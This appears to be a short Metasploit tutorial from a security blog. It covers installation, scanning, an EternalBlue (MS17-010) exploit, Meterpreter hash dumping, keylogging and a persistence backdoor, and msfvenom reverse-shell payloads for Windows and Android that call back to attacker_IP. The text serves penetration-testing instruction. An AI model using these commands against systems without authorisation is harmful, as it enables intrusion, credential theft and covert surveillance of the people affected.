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Metasploit Framework is a powerful penetration testing tool used for identifying, exploiting, and validating vulnerabilities in systems and networks. Developed by Rapid7, it provides cybersecurity professionals with a comprehensive suite of tools for security assessments, ethical hacking, and intrusion simulations.
You Should Know:
1. Installing Metasploit Framework
Metasploit can be installed on Linux (Kali Linux recommended) or Windows.
On Kali Linux:
sudo apt update && sudo apt install metasploit-framework -y
On Windows:
Download the installer from Metasploit Official Site.
2. Basic Metasploit Commands
Launch Metasploit console:
msfconsole
Search for exploits:
search exploit_name
Use an exploit:
use exploit/path/to/exploit
Set target options:
set RHOSTS target_IP set LHOST attacker_IP set PAYLOAD windows/meterpreter/reverse_tcp
Execute the exploit:
exploit
3. Scanning for Vulnerabilities
Use auxiliary modules for scanning:
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.1-254 set PORTS 80,443,22 run
Check SMB vulnerabilities:
use auxiliary/scanner/smb/smb_version set RHOSTS 192.168.1.100 run
4. Exploiting a Target
Example: Exploiting EternalBlue (MS17-010):
use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.1.50 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.1 exploit
5. Post-Exploitation with Meterpreter
Once inside a system, use Meterpreter for further actions:
Dump password hashes:
hashdump
Capture keystrokes:
keyscan_start keyscan_dump
Take a screenshot:
screenshot
Persistence (create a backdoor):
run persistence -X -i 10 -p 4444 -r attacker_IP
6. Generating Payloads with MSFvenom
Create a Windows reverse shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_IP LPORT=4444 -f exe > payload.exe
Android payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=attacker_IP LPORT=4444 -o /root/payload.apk
What Undercode Say:
Metasploit remains a critical tool for ethical hackers and security professionals. Mastering its modules—from scanning to exploitation and post-exploitation—enhances cybersecurity defenses. Always use Metasploit legally and ethically, ensuring proper authorization before testing systems.
Expected Output:
A functional exploit session with Meterpreter access, system control, and extracted data for security analysis.
Prediction:
As cyber threats evolve, Metasploit will continue integrating AI-driven exploit automation, making penetration testing faster but also requiring stronger defensive measures.
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Extra Hub: Undercode MoN
Basic Verification: Pass ✅
